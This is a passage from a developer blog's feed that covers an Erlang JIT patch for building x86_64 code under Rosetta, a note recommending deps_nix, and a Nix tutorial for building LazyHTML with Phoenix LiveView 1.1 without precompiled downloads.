&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;a/erts/emulator/beam/jit/beam_jit_main.cpp&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;+++&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;b/erts/emulator/beam/jit/beam_jit_main.cpp&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;@@ -188,6 +188,8 @@ static JitAllocator *pick_allocator() &amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      * 64-bit x86 still uses dual-mapped memory as it lacks support for per-
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      * thread permissions and thus gets unprotected RWX pages with MAP_JIT. */
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;     erts_jit_single_map = 1;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;+&lt;/span&gt;#elif defined(FORCE_ERTS_JIT_SINGLE_MAP)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;+&lt;/span&gt;    erts_jit_single_map = 1;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt; #endif
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt; 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt; #if defined(HAVE_LINUX_PERF_SUPPORT)
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you can expose packages like:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-nix&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;packages&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;rec&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;chog&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;chog&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;mkPackageWithErlang&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;erlang&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;chog-jmsingle&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;mkPackageWithErlang&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;erlang-jmsingle&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, your cross compile is &lt;code&gt;nix build .#packages.x86_64-linux.chog-jmsingle&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;???&lt;/h3&gt;
&lt;p&gt;Let’s read the &lt;a href=&quot;https://www.erlang.org/doc/apps/erts/erl_cmd.html#+JMsingle&quot;&gt;erts &lt;code&gt;erl&lt;/code&gt; command manual&lt;/a&gt; together:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;+JMsingle true|false&lt;/code&gt;&lt;/strong&gt; - Enables or disables the use of single-mapped RWX memory for JIT code.&lt;/p&gt;
&lt;p&gt;The default is to map JIT:ed machine code into two regions sharing the same physical pages, where one region is executable but not writable, and the other writable but not executable. As some tools, such as QEMU user mode emulation, cannot deal with the dual mapping, this flags allows it to be disabled. This flag is automatically enabled by the &lt;code&gt;+JPperf&lt;/code&gt; flag.&lt;/p&gt;
&lt;p&gt;Since: OTP 26.0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;“Some tools” also includes Rosetta, it turns out. You’ll find some advice on Internet suggesting you use &lt;code&gt;+JPperf&lt;/code&gt; with a variety of options to fix this issue, but it’s all cargo-culted — it’s the side-effect of setting &lt;code&gt;+JMsingle true&lt;/code&gt; that makes it work. The above patch causes the flag to be set unilaterally.&lt;/p&gt;
&lt;p&gt;The solution I present here has downsides:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You’re no longer using separate RW/RX mappings, which has (somewhat theoretical) security implications. RIP points to writeable memory!&lt;/li&gt;
&lt;li&gt;We have to patch Erlang to make this happen consistently! I so wish we didn’t, but I couldn’t figure out a way to get the actual &lt;code&gt;+JMsingle&lt;/code&gt; flag to propagate and be set in every single place necessary — namely, every single Erlang/Elixir/etc. invocation. The result is toolchain bloat.&lt;/li&gt;
&lt;li&gt;The resulting builds therefore differ from those without it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I use this for testing and building x86_64 artifacts from the comfort of my laptop, but when I actually deploy on x86_64, I build the regular versions on a target machine.&lt;/p&gt;
&lt;p&gt;May this help someone!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>deps_nix, not mix2nix!</title>
    <updated>2025-08-01T03:17:22Z</updated>
    <id>https://kivikakk.ee/2025/08/01/deps_nix-not-mix2nix</id>
    <link href="https://kivikakk.ee/2025/08/01/deps_nix-not-mix2nix" />

    <content type="html">&lt;p&gt;Oh my goodness. Turns out &lt;a href=&quot;https://github.com/code-supply/deps_nix&quot;&gt;deps_nix&lt;/a&gt; exists, and it obviates not only half of the hacks from &lt;a href=&quot;https://kivikakk.ee/2025/07/31/using-phoenix-liveview-1.1-with-nix&quot;&gt;yesterday&lt;/a&gt;, but also many, many more I’d just accepted as unavoidable, and something I’d have to build some tooling around. Well, looks like someone already has :)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Using Phoenix LiveView 1.1 with Nix</title>
    <updated>2025-07-31T06:00:16Z</updated>
    <id>https://kivikakk.ee/2025/07/31/using-phoenix-liveview-1.1-with-nix</id>
    <link href="https://kivikakk.ee/2025/07/31/using-phoenix-liveview-1.1-with-nix" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://hexdocs.pm/phoenix_live_view/1.1.1/changelog.html&quot;&gt;LiveView v1.1 has been released&lt;/a&gt;! I like to keep on top of Phoenix’s updates; the ecosystem moves at a reasonable and steady pace, and the direction is in general good. (Not sure I care for colocated hooks yet, but change tracking in comprehensions is extremely welcome, it’s nice to be able to ditch &lt;code&gt;@types/phoenix_live_view&lt;/code&gt;, and &lt;code&gt;&amp;lt;.portal&amp;gt;&lt;/code&gt; looks neat!)&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/dashbitco/lazy_html&quot;&gt;LazyHTML&lt;/a&gt; is a new dependency, and you bet it tries to download pre-compiled dependencies. I &lt;em&gt;never&lt;/em&gt; want that, and Nix is so good to me by simply Not Permitting It:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;lazy_html&amp;gt; Running phase: unpackPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;lazy_html&amp;gt; unpacking source archive /nix/store/qlgi3hx2syzhzq2r8l5b8xd42zzwrvb5-lazy_html-0.1.3
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;lazy_html&amp;gt; source root is lazy_html-0.1.3
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;lazy_html&amp;gt; Running phase: patchPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;lazy_html&amp;gt; Running phase: updateAutotoolsGnuConfigScriptsPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;lazy_html&amp;gt; Running phase: configurePhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;lazy_html&amp;gt; Running phase: buildPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;lazy_html&amp;gt; ** (File.Error) could not make directory (with -p) &amp;quot;/homeless-shelter/Library/Caches/elixir_make&amp;quot;: no such file or directory
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;lazy_html&amp;gt;     (elixir 1.18.4) lib/file.ex:346: File.mkdir_p!/1
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;lazy_html&amp;gt;     (elixir_make 0.9.0) lib/elixir_make/artefact.ex:22: ElixirMake.Artefact.cache_dir/0
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;lazy_html&amp;gt;     (elixir_make 0.9.0) lib/elixir_make/artefact.ex:85: ElixirMake.Artefact.archive_path/3
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;lazy_html&amp;gt;     (elixir_make 0.9.0) lib/mix/tasks/compile.elixir_make.ex:226: Mix.Tasks.Compile.ElixirMake.download_or_reuse_nif/3
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;lazy_html&amp;gt;     (elixir_make 0.9.0) lib/mix/tasks/compile.elixir_make.ex:169: Mix.Tasks.Compile.ElixirMake.run/1
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;lazy_html&amp;gt;     (mix 1.18.4) lib/mix/task.ex:495: anonymous fn/3 in Mix.Task.run_task/5
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;lazy_html&amp;gt;     (mix 1.18.4) lib/mix/tasks/compile.all.ex:117: Mix.Tasks.Compile.All.run_compiler/2
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;lazy_html&amp;gt;     (mix 1.18.4) lib/mix/tasks/compile.all.ex:97: Mix.Tasks.Compile.All.compile/4
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Close enough, you get the idea — &lt;a href=&quot;https://github.com/elixir-lang/elixir_make&quot;&gt;&lt;code&gt;elixir_make&lt;/code&gt;&lt;/a&gt; tried to create &lt;code&gt;$HOME/Library/Caches/elixir_make&lt;/code&gt; (because this is nix-darwin), and if it had succeeded, would have failed to then actually download anything. How will we figure this out?&lt;/p&gt;
&lt;h3&gt;tl;dr&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/kv/blob/main/3e9baafdbbe25b695ae06d98c244ffcfdc45a7e7/nix/package.nix?k=O4WJcUZ-tm05mEoS2noWJmK-f4N7JxDNLLO50k7-3J0%3D#L15-L55&quot;&gt;override your &lt;code&gt;lazy_html&lt;/code&gt; and &lt;code&gt;fine&lt;/code&gt; builds&lt;/a&gt; with &lt;a href=&quot;https://nossa.ee/~talya/kv/blob/main/3e9baafdbbe25b695ae06d98c244ffcfdc45a7e7/nix/lazy_html-mix.exs.patch?k=EAp8JcWr2Usdstl5xXfPo7lw17zpFsVRptSeqzNjS-8%3D&quot;&gt;some&lt;/a&gt; &lt;a href=&quot;https://nossa.ee/~talya/kv/blob/main/3e9baafdbbe25b695ae06d98c244ffcfdc45a7e7/nix/fine-lib-fine.ex.patch?k=p5YPQAHq8I_i032pb-avDzIP5gwG4Un6LZz1LTeZ_fc%3D&quot;&gt;&lt;del&gt;patches&lt;/del&gt;&lt;/a&gt; (edit: see the end of the post!), and&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/kv/blob/main/3e9baafdbbe25b695ae06d98c244ffcfdc45a7e7/config/config.exs?k=jUuxRDWNh3m2eO2g0g70NcfWCFbJ38llE0-hmGRq_jU%3D#L72-L74&quot;&gt;declare &lt;code&gt;lazy_html&lt;/code&gt; config&lt;/a&gt; to avoid application env compile-time/runtime mismatch issues.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step one: stop LazyHTML from trying to use pre-compiled dependencies&lt;/h3&gt;
&lt;p&gt;Assuming you’ve produced &lt;code&gt;deps.nix&lt;/code&gt; with &lt;a href=&quot;https://github.com/ydlr/mix2nix&quot;&gt;&lt;code&gt;mix2nix&lt;/code&gt;&lt;/a&gt;, we patch out the pre-compilation configuration from LazyHTML’s &lt;code&gt;mix.exs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-nix&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;let&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  mixNixDeps &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;import&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;./deps.nix&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;inherit&lt;/span&gt; lib beamPackages&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #89b4fa;&quot;&gt;overrides&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;final&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;prev&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;lazy_html&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prev&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;lazy_html&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;overrideAttrs&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;patches&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;          &lt;span style=&quot;color: #f5c2e7;&quot;&gt;./lazy_html-mix.exs.patch&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;        &lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-diff&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;diff&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;--git&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;a/mix.exs b/mix.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;index&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;fa0be6f&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0f40d16&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;100644&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;a/mix.exs&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;+++&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;b/mix.exs&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;@@ -24,11 +24,6 @@ defmodule LazyHTML.MixProject do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;           &amp;quot;LEXBOR_VERSION&amp;quot; =&amp;gt; @lexbor_version
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;         &amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;       end,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;-&lt;/span&gt;      # Precompilation&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;-&lt;/span&gt;      make_precompiler: &amp;lbrace;:nif, CCPrecompiler&amp;rbrace;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;-&lt;/span&gt;      make_precompiler_url: &amp;quot;#&amp;lbrace;@github_url&amp;rbrace;/releases/download/v#&amp;lbrace;@version&amp;rbrace;/@&amp;lbrace;artefact_filename&amp;rbrace;&amp;quot;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;-&lt;/span&gt;      make_precompiler_filename: &amp;quot;liblazy_html&amp;quot;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;-&lt;/span&gt;      make_precompiler_nif_versions: [versions: [&amp;quot;2.16&amp;quot;]]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;     ]
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;   end
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt; 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;@@ -42,7 +37,6 @@ defmodule LazyHTML.MixProject do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;     [
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;       &amp;lbrace;:fine, &amp;quot;~&amp;gt; 0.1.0&amp;quot;&amp;rbrace;,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;       &amp;lbrace;:elixir_make, &amp;quot;~&amp;gt; 0.9.0&amp;quot;&amp;rbrace;,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;-&lt;/span&gt;      &amp;lbrace;:cc_precompiler, &amp;quot;~&amp;gt; 0.1&amp;quot;, runtime: false&amp;rbrace;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;       &amp;lbrace;:ex_doc, &amp;quot;~&amp;gt; 0.36&amp;quot;, only: :dev, runtime: false&amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;     ]
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;   end
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;elixir_make&lt;/code&gt; does have a config key, &lt;code&gt;:force_build&lt;/code&gt;, but we’d have to patch LazyHTML to include it either way: this build is completely independent of your application, so setting it in your own config won’t do anything at Nix build time, and there’s no environment variable equivalent like &lt;a href=&quot;https://hexdocs.pm/rustler_precompiled/RustlerPrecompiled.html#module-environment-variables&quot;&gt;&lt;code&gt;RUSTLER_PRECOMPILED_FORCE_BUILD_ALL&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And the result:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;lazy_html&amp;gt; Running phase: unpackPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;lazy_html&amp;gt; unpacking source archive /nix/store/qlgi3hx2syzhzq2r8l5b8xd42zzwrvb5-lazy_html-0.1.3
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;lazy_html&amp;gt; source root is lazy_html-0.1.3
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;lazy_html&amp;gt; Running phase: patchPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;lazy_html&amp;gt; applying patch /nix/store/vk0kvy6ih5nwr75k7yzi8k8nnggycy6w-lazy_html-mix.exs.patch
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;lazy_html&amp;gt; patching file mix.exs
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;lazy_html&amp;gt; Running phase: updateAutotoolsGnuConfigScriptsPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;lazy_html&amp;gt; Running phase: configurePhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;lazy_html&amp;gt; Running phase: buildPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;lazy_html&amp;gt; make: git: No such file or directory
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;lazy_html&amp;gt; make: *** [Makefile:50: /private/tmp/nix-build-lazy_html-0.1.3.drv-0/lazy_html-0.1.3/_build/c/third_party/lexbor/2.4.0] Error 127
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;lazy_html&amp;gt; ** (Mix) Could not compile with &amp;quot;make&amp;quot; (exit status: 2).
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;lazy_html&amp;gt; You need to have gcc and make installed. Try running the
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;lazy_html&amp;gt; commands &amp;quot;gcc --version&amp;quot; and / or &amp;quot;make --version&amp;quot;. If these programs
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;lazy_html&amp;gt; are not installed, you will be prompted to install them.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;lazy_html&amp;gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LazyHTML wraps &lt;a href=&quot;https://github.com/lexbor/lexbor&quot;&gt;Lexbor&lt;/a&gt;, a C library used for its HTML engine, and here it is trying to download its source at compile-time. (If you make &lt;code&gt;git&lt;/code&gt; available to the build, Nix will block its network access.)&lt;/p&gt;
&lt;h3&gt;Step two: fetch Lexbor’s source ourselves&lt;/h3&gt;
&lt;p&gt;Let’s declare the version of Lexbor we want, fetch that from GitHub, and then put it where LazyHTML’s &lt;code&gt;Makefile&lt;/code&gt; would clone it to. We also check that the version we’ve declared matches the one in LazyHTML’s &lt;code&gt;mix.exs&lt;/code&gt;, so we’ll notice if it changes.&lt;/p&gt;
&lt;p&gt;(You &lt;em&gt;could&lt;/em&gt; try to extract this automatically, but you’ll have to update the hash manually either way. I’ll also skip the step where this fails because the build wants &lt;code&gt;cmake&lt;/code&gt; and just give it &lt;code&gt;cmake&lt;/code&gt;.)&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-nix&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;let&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  mixNixDeps &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;import&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;./deps.nix&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
